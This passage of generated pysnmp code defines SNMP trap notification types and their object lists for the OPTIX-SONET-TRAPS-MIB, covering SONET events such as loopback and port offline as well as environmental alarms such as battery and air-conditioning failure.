("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRevertiveModeMismatch.setStatus('current') evtRingIDMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40971)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRingIDMismatch.setStatus('current') evtIncorrectFiberConnection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40972)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtIncorrectFiberConnection.setStatus('current') evtStateChange = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40973)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtStateChange.setStatus('current') evtMtMode = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40974)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtMtMode.setStatus('current') evtRmvToMt = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40979)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRmvToMt.setStatus('current') evtRstFromMt = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40980)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRstFromMt.setStatus('current') evtLpbk = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40981)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLpbk.setStatus('current') evtRlsLpbk = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40982)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRlsLpbk.setStatus('current') evtSyncNotSyncnronized = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40983)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSyncNotSyncnronized.setStatus('current') evtPowerExceed = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40984)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPowerExceed.setStatus('current') evtPartialUnprotected = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40985)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPartialUnprotected.setStatus('current') evtFanMea = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40986)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtFanMea.setStatus('current') evtRemoteClientSF = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 63604)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRemoteClientSF.setStatus('current') evtRemoteClientSD = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 63605)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRemoteClientSD.setStatus('current') evtPowerSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 63607)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPowerSwitch.setStatus('current') evtPortOffline = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 63629)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPortOffline.setStatus('current') evtDataLost = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 63630)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtDataLost.setStatus('current') evtSqmVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 65409)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSqmVT.setStatus('current') evtLomVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 65410)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLomVT.setStatus('current') evtFCSError = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 65411)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtFCSError.setStatus('current') optixTrapsEnvironment = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30)) envAirCompressorFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 502)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envAirCompressorFailure.setStatus('current') envAirConditioningFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 503)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envAirConditioningFailure.setStatus('current') envAirDryerFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 504)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envAirDryerFailure.setStatus('current') envBatteryDischarging = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 505)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envBatteryDischarging.setStatus('current') envBatteryFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 506)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envBatteryFailure.setStatus('current') envCoolingFacFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 507)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envCoolingFacFailure.setStatus('current') envCPMAJOR = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 508)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envCPMAJOR.setStatus('current') envCPMINOR = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 509)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envCPMINOR.setStatus('current') envEngineFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 510)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envEngineFailure.setStatus('current') envEngineOperating = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 511)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envEngineOperating.setStatus('current') envExplosiveGas = NotificationType((1, 3, 6, 1, 4, 1, 2011, 